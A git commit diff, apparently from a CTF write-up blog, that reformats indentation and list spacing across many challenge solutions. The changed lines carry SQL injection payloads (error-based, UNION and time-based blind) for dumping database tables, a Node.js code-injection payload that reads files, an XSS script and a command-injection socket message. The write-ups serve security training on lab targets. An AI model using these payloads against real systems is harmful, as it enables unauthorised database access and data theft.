Fix linting and formatting issues

2026-10-02 14:46:25 +00:00 · 2025-01-04 13:03:35 +01:00
parent cc261d6aaa
commit 6fa9f7b09f
24 changed files with 152 additions and 150 deletions
@@ -23,7 +23,7 @@ aliases = [
 ]
 +++

- Points: 1
+-   Points: 1

 ## Description

@@ -23,7 +23,7 @@ aliases = [
 ]
 +++

- Points: 100
+-   Points: 100

 ## Description

@@ -23,7 +23,7 @@ aliases = [
 ]
 +++

- Points: 1000
+-   Points: 1000

 ## Description

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 1100
+-   Points: 1100

 ## Description

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 1200
+-   Points: 1200

 ## Description

@@ -38,13 +38,13 @@ Upon opening the challenge website we're greeted with an input field and a check

 ```js
 function send() {
-  let place = $("#place")[0].value;
-  if (place.length > 0) {
-    $.post("/", { place: place }, function (data) {
-      $("#result")[0].innerHTML = "<b>" + data + "</b>";
-    });
-  }
-  return false;
+    let place = $("#place")[0].value;
+    if (place.length > 0) {
+        $.post("/", { place: place }, function (data) {
+            $("#result")[0].innerHTML = "<b>" + data + "</b>";
+        });
+    }
+    return false;
 }
 ```

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 1400
+-   Points: 1400

 ## Description

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 1500
+-   Points: 1500

 ## Description

@@ -88,12 +88,12 @@ I came up with the following code:

 ```html
 <script>
-  setTimeout(() => {
-    let flagInput = document.getElementById("flag");
-    flagInput.name = "flag[]";
-    flagInput.value = "hi";
-    flagInput.form.submit();
-  }, 1000);
+    setTimeout(() => {
+        let flagInput = document.getElementById("flag");
+        flagInput.name = "flag[]";
+        flagInput.value = "hi";
+        flagInput.form.submit();
+    }, 1000);
 </script>
 ```

@@ -25,7 +25,7 @@ aliases = [
 ]
 +++

- Points: 1800
+-   Points: 1800

 ## Description

@@ -41,22 +41,22 @@ When opening the source of the page we also find some javascript code:

 ```js
 function send() {
-  let calc = $("#calc")[0].value;
-  if (calc.length > 0) {
-    $.ajax({
-      url: "/calc",
-      type: "POST",
-      data: '{"calc": "' + calc + '" }',
-      contentType: "application/json; charset=utf-8",
-      dataType: "json",
-    }).always(function (data) {
-      text = data;
-      if (data.responseText) {
-        text = data.responseText;
-      }
-      $("#msg")[0].innerHTML = "<b>" + text + "</b>";
-    });
-  }
+    let calc = $("#calc")[0].value;
+    if (calc.length > 0) {
+        $.ajax({
+            url: "/calc",
+            type: "POST",
+            data: '{"calc": "' + calc + '" }',
+            contentType: "application/json; charset=utf-8",
+            dataType: "json",
+        }).always(function (data) {
+            text = data;
+            if (data.responseText) {
+                text = data.responseText;
+            }
+            $("#msg")[0].innerHTML = "<b>" + text + "</b>";
+        });
+    }
 }
 ```

@@ -68,7 +68,7 @@ If we capture the request with a proxy like Burp, we can see it sends a `POST` r

 ```json
 {
-  "calc": "3+4"
+    "calc": "3+4"
 }
 ```

@@ -96,7 +96,7 @@ A NodeJS Express server often has a `res` variable to which the request result i

 ```json
 {
-  "calc": "res"
+    "calc": "res"
 }
 ```

@@ -112,7 +112,7 @@ The resulting request:

 ```json
 {
-  "calc": "require('fs').readdirSync('.')"
+    "calc": "require('fs').readdirSync('.')"
 }
 ```

@@ -126,7 +126,7 @@ Now that we know the location of the flag (`flag.txt`), we can use the `readFile

 ```json
 {
-  "calc": "require('fs').readFileSync('flag.txt')"
+    "calc": "require('fs').readFileSync('flag.txt')"
 }
 ```

@@ -25,7 +25,7 @@ aliases = [
 ]
 +++

- Points: 1900
+-   Points: 1900

 ## Description

@@ -41,22 +41,22 @@ When opening the source of the page we also find some javascript code:

 ```js
 function send() {
-  let calc = $("#calc")[0].value;
-  if (calc.length > 0) {
-    $.ajax({
-      url: "/calc",
-      type: "POST",
-      data: '{"calc": "' + calc + '" }',
-      contentType: "application/json; charset=utf-8",
-      dataType: "json",
-    }).always(function (data) {
-      text = data;
-      if (data.responseText) {
-        text = data.responseText;
-      }
-      $("#msg")[0].innerHTML = "<b>" + text + "</b>";
-    });
-  }
+    let calc = $("#calc")[0].value;
+    if (calc.length > 0) {
+        $.ajax({
+            url: "/calc",
+            type: "POST",
+            data: '{"calc": "' + calc + '" }',
+            contentType: "application/json; charset=utf-8",
+            dataType: "json",
+        }).always(function (data) {
+            text = data;
+            if (data.responseText) {
+                text = data.responseText;
+            }
+            $("#msg")[0].innerHTML = "<b>" + text + "</b>";
+        });
+    }
 }
 ```

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 200
+-   Points: 200

 ## Description

@@ -25,7 +25,7 @@ aliases = [
 ]
 +++

- Points: 2000
+-   Points: 2000

 ## Description

@@ -41,12 +41,12 @@ If we take a look at the source, we also find a bit of javascript:

 ```js
 function send() {
-  let emoji = $("#emoji")[0].value;
-  if (emoji.length > 0) {
-    $.post("/", { emoji: emoji }, function (data) {
-      $("#msg")[0].innerHTML = "<b>" + data + "</b>";
-    });
-  }
+    let emoji = $("#emoji")[0].value;
+    if (emoji.length > 0) {
+        $.post("/", { emoji: emoji }, function (data) {
+            $("#msg")[0].innerHTML = "<b>" + data + "</b>";
+        });
+    }
 }
 ```

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 2100
+-   Points: 2100

 ## Description

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 2300
+-   Points: 2300

 ## Description

@@ -40,21 +40,23 @@ If we take a look at the source, we also find a bit of javascript:

 ```js
 $(function () {
-  var socket = io();
-  $("form").submit(function () {
-    socket.emit("chat message", { message: $("#m").val() });
-    $("#m").val("");
-    return false;
-  });
-  socket.on("chat message", function (msg) {
-    console.log(msg.command);
-    if (msg.command === "code") {
-      $("#messages").append($("<li>").html("<pre>" + msg.message + "</pre>"));
-    } else {
-      $("#messages").append($("<li>").text(msg.message));
-    }
-    window.scrollTo(0, document.body.scrollHeight);
-  });
+    var socket = io();
+    $("form").submit(function () {
+        socket.emit("chat message", { message: $("#m").val() });
+        $("#m").val("");
+        return false;
+    });
+    socket.on("chat message", function (msg) {
+        console.log(msg.command);
+        if (msg.command === "code") {
+            $("#messages").append(
+                $("<li>").html("<pre>" + msg.message + "</pre>")
+            );
+        } else {
+            $("#messages").append($("<li>").text(msg.message));
+        }
+        window.scrollTo(0, document.body.scrollHeight);
+    });
 });
 ```

@@ -108,8 +110,8 @@ Because the code tries to read `msg.command`, let's try adding a command to the

 ```js
 socket.emit("chat message", {
-  message: "Hello",
-  command: "ls",
+    message: "Hello",
+    command: "ls",
 });
 ```

@@ -197,8 +199,8 @@ Lyc7IGNhdCAnL2ZsYWcudHh0⏎

 ```js
 socket.emit("chat message", {
-  message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
-  command: "execute",
+    message: "Lyc7IGNhdCAnL2ZsYWcudHh0",
+    command: "execute",
 });
 ```

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 300
+-   Points: 300

 ## Description

@@ -46,18 +46,18 @@ To find this funtion, enter `checkPass` in the devtools console and click on the

 ```js
 function checkPass() {
-  var username = document.getElementById("username").value;
-  var password = document.getElementById("password").value;
+    var username = document.getElementById("username").value;
+    var password = document.getElementById("password").value;

-  var novi = "-NOVI";
+    var novi = "-NOVI";

-  if (password == btoa(username + novi)) {
-    window.setTimeout(function () {
-      window.location.assign(
-        "inde" + "x.php?username=" + username + "&password=" + password
-      );
-    }, 500);
-  }
+    if (password == btoa(username + novi)) {
+        window.setTimeout(function () {
+            window.location.assign(
+                "inde" + "x.php?username=" + username + "&password=" + password
+            );
+        }, 500);
+    }
 }
 ```

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 500
+-   Points: 500

 ## Description

@@ -72,7 +72,7 @@ The query becomes invalid as there is an unterminated string. So, how do we turn

 ## Solution

-Firstly, I tried to use `' OR 1=1 -- ` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' -- ` for the username, the password doesn't matter.
+Firstly, I tried to use `' OR 1=1 --` as the username and, again, some garbage as the password. However, it didn't work. It didn't even return an error. So I guess this is where "A classic, with a twist." comes in. Next, I tried to just use `admin` as the username and end the query after it by inserting a comment (this is `--` in sql). The resulting input would become `admin' --` for the username, the password doesn't matter.

 The resulting query would be this:

@@ -90,7 +90,7 @@ As [@credmp](https://twitter.com/credmp) correctly pointed out, this only works

 ### Getting the database

-As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `. This results into the following query:
+As we can see the error on the page itself, we can use a query to give a result inside the error. For instance, to get the database I used the following input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`. This results into the following query:

 ```sql
 FROM `users` SELECT * WHERE `username`='' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) as x FROM information_schema.tables GROUP BY x) as y) -- ' AND `password`=''
@@ -167,7 +167,7 @@ We can only get the tables one by one (as I explained above) so we can use the f
 SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1
 ```

-Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
+Converted to an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema='testdb' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`

 _Note: to get next table, just edit the `LIMIT` to `1,1`, `2,1` and so on_

@@ -187,7 +187,7 @@ A sub-query for columns could be the following:
 SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1
 ```

-Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
+Which converts to this input: `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`

 Which gives us (with other `LIMIT` as well):

@@ -211,7 +211,7 @@ A simple `SELECT` query for the username would be:
 SELECT username from users limit 0,1
 ```

-Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) -- `
+Turing this into an input we get `' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username from users limit 0,1),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --`

 We get:

@@ -62,7 +62,7 @@ If this were the query, we could use a `UNION SELECT` to add our own query. Let'
 UNION SELECT table_name, 2, 3 FROM information_schema.tables
 ```

-The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- `. This way the query that will be executed becomes this:
+The `2` and `3` in the `SELECT` are a filler because our guessed query has three columns. The use this query we have to escape the string in the query first. To do this, I added a `'` before our query and appended the symbols for a comment (`--`) at the end. This results in the following input: `' UNION SELECT table_name, 2, 3 FROM information_schema.tables --`. This way the query that will be executed becomes this:

 ```sql
 SELECT id, descr, proof FROM santabase WHERE descr LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %' OR proof LIKE '%' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- %'
@@ -254,7 +254,7 @@ The flags table at the bottom looks interesting. Let's grab it's contents. To ge
 UNION SELECT (SELECT * FROM flags), 2, 3
 ```

-This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 -- `.
+This query also has to be converted to an input first. This will become `' UNION SELECT (SELECT * FROM flags), 2, 3 --`.

 After submitting this input, I got the flag: `NOVI{7h1s_flag_w@s_chuncky_right}`.

@@ -272,7 +272,7 @@ Because the `secrets` table a more than one column, we need to know the column n
 UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets"
 ```

-Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" -- `.
+Converted to an input: `' UNION SELECT column_name, 2, 3 FROM information_schema.columns WHERE table_name = "secrets" --`.

 After remove the results from the original query, we get the following:

@@ -290,7 +290,7 @@ UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets

 The `CONCAT()` here is to put our results into the first column as the other two column are hidden after the first five characters.

-This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets -- ` as the input.
+This query converts to `' UNION SELECT CONCAT(id, ":", description, ":", proof), 2, 3 FROM secrets --` as the input.

 After parsing the output we get:

@@ -24,7 +24,7 @@ aliases = [
 ]
 +++

- Points: 700
+-   Points: 700

 ## Description

@@ -44,13 +44,13 @@ This time, no error message is shown. But the output is! (I'll get back to that
 SELECT why FROM naughty WHERE why LIKE '%search text%';
 ```

-If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 -- ` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 -- `. If this would be inserted inside the query we would get this:
+If this were the query, we can easily try to just get all records. To do this, we need to modify the `WHERE` statement to always be true. A way to do this is to add a `OR 1=1 --` to the query as `1` is always equal to `1`. But how do we do that? Well, is the backend doesn't properly create a query, we can escape the string inside the `WHERE` query and add our own code. An example input would be `' OR 1=1 --`. If this would be inserted inside the query we would get this:

 ```sql
 SELECT why FROM naughty WHERE why LIKE '%' OR 1=1 -- %';
 ```

-If we input this (`' OR 1=1 -- `) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`
+If we input this (`' OR 1=1 --`) in the search field, we get the flag! It is `NOVI{bl1nd_sql1_is_naughty}`

 This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#7-8).

@@ -102,7 +102,7 @@ Now that we know the table name, we can then get the columns from it with this q
 SELECT column_name FROM information_schema.columns WHERE table_name = "naughty"
 ```

-If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" -- `. This return the following rows:
+If we convert this to an input, we get `' UNION SELECT column_name FROM information_schema.columns WHERE table_name = "naughty" --`. This return the following rows:

 | Who?     |
 | -------- |
@@ -118,7 +118,7 @@ Knowing the table and column names, we can get all rows in the table. This outpu
 SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty
 ```

-Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty -- `, which, after submitting it, gives us one row:
+Converted to an input we get `' UNION SELECT CONCAT(id, " | ", username, " | ", badthing) FROM naughty --`, which, after submitting it, gives us one row:

 | Who?                                        |
 | ------------------------------------------- |
@@ -148,7 +148,7 @@ SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) EL

 This would run `BENCHMARK(9000000,MD5(1))` if the sub-query returns more than 1 row. The `BENCHMARK()` is used because it's a function that takes a while to run.

-This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- `
+This query will have to be converted to an input first. This will become `' UNION SELECT CASE WHEN (SELECT DATABASE() LIKE "a%") THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`

 If we replace `a` with another letter we can find out the database name like this:

@@ -177,6 +177,6 @@ To get the tables inside the database, the same method will have to be used. An
 SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END
 ```

-Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END -- `
+Which will convert to `' UNION SELECT CASE WHEN COUNT((SELECT table_name FROM information_schema.tables WHERE table_name LIKE "a%" AND table_schema = "testdb" LIMIT 1))>0 THEN BENCHMARK(9000000,MD5(1)) ELSE 1 END --`

 By using this method, we can get the all database records but it will take a long time.
@@ -23,7 +23,7 @@ aliases = [
 ]
 +++

- Points: 800
+-   Points: 800

 ## Description

@@ -41,7 +41,7 @@ This is talking about robots, which my be a hint to look at the [`robots.txt`](h

 ### What is a robots.txt file?

-A `robots.txt` file lives at the root of a website. So, for the site www.example.com, a robots.txt file would live at www.example.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.
+A `robots.txt` file lives at the root of a website. So, for the site www\.example\.com, a robots.txt file would live at www\.example\.com/robots.txt. robots.txt is a plain text file that follows the [Robots Exclusion Standard](http://en.wikipedia.org/wiki/Robots_exclusion_standard#About_the_standard). A robots.txt file consists of one or more rules. Each rule blocks (or allows) access for a given crawler to a specified file path in that website.

 ### Opening the file

@@ -23,7 +23,7 @@ aliases = [
 ]
 +++

- Points: 900
+-   Points: 900

 ## Description

@@ -63,10 +63,10 @@ echo -n "eyJhdXRoIjoyODk2MSwidGV4dCI6IkkgZG8gbG92ZSBhIGdvb2QgcHV6emxlLiIsInJvbGU

 ```json
 {
-  "auth": 28961,
-  "text": "I do love a good puzzle.",
-  "role": "user",
-  "iat": 1607717857
+    "auth": 28961,
+    "text": "I do love a good puzzle.",
+    "role": "user",
+    "iat": 1607717857
 }
 ```

@@ -48,13 +48,13 @@ The attachment contains one file: `chall.tar.gz`.

 Extracting this file gives seven `csv` files of about 25MB:

- 1.csv
- 2.csv
- 3.csv
- 4.csv
- 5.csv
- 6.csv
- 7.csv
+-   1.csv
+-   2.csv
+-   3.csv
+-   4.csv
+-   5.csv
+-   6.csv
+-   7.csv

 They all contain 600255 lines.

@@ -314,8 +314,8 @@ This is still pretty bad, but at least I can see something.

 From the image I made the following changes:

- The "g" should be a capital "G"
- The last question mark should be a "4"
+-   The "g" should be a capital "G"
+-   The last question mark should be a "4"

 The other two were still unreadable, but from guessing I replaced the second question mark with a "c" and the other two that are left with an "r".

@@ -839,13 +839,13 @@ print(unary_code)

 Then, let's follow the steps to convert brainfuck to Unary in reverse.

-1. Remove the leading `1`
+1.  Remove the leading `1`

    ```py
    unary_code = unary_code[1:]
    ```

-2. Replace unary with brainfuck
+2.  Replace unary with brainfuck

    ```py
    for i in range(0, len(unary_code), 3):
@@ -869,7 +869,7 @@ Then, let's follow the steps to convert brainfuck to Unary in reverse.
            brainfuck_code += "]"
    ```

-3. Print the result:
+3.  Print the result:

    ```py
    print(brainfuck_code)
@@ -42,7 +42,7 @@ Congratulations, you successfully sneaked past the guards, and now you are insid

 attachment.zip (_file too large_)

- [bzImage.elf](/files/writeups/google-ctf/2021/beginners-quest/9/bzImage.elf)
+-   [bzImage.elf](/files/writeups/google-ctf/2021/beginners-quest/9/bzImage.elf)

 ## Recon

@@ -82,10 +82,10 @@ If we click on Time Travel, text starts appearing in the terminal, and, after a

 The Objectives page on HHC also shows some questions we need to answer for the medals:

-1. What username logs you into the SantaVision portal?
-2. Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the `northpolefeeds` on the monitors. What username worked here?
-3. Using the information available to you in the SantaVision platform, subscribe to the `frostbitfeed` MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?
-4. There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the `northpolefeeds` feed. What type of contraption do you see Santa on?
+1.  What username logs you into the SantaVision portal?
+2.  Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the `northpolefeeds` on the monitors. What username worked here?
+3.  Using the information available to you in the SantaVision platform, subscribe to the `frostbitfeed` MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?
+4.  There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the `northpolefeeds` feed. What type of contraption do you see Santa on?

 ## Solving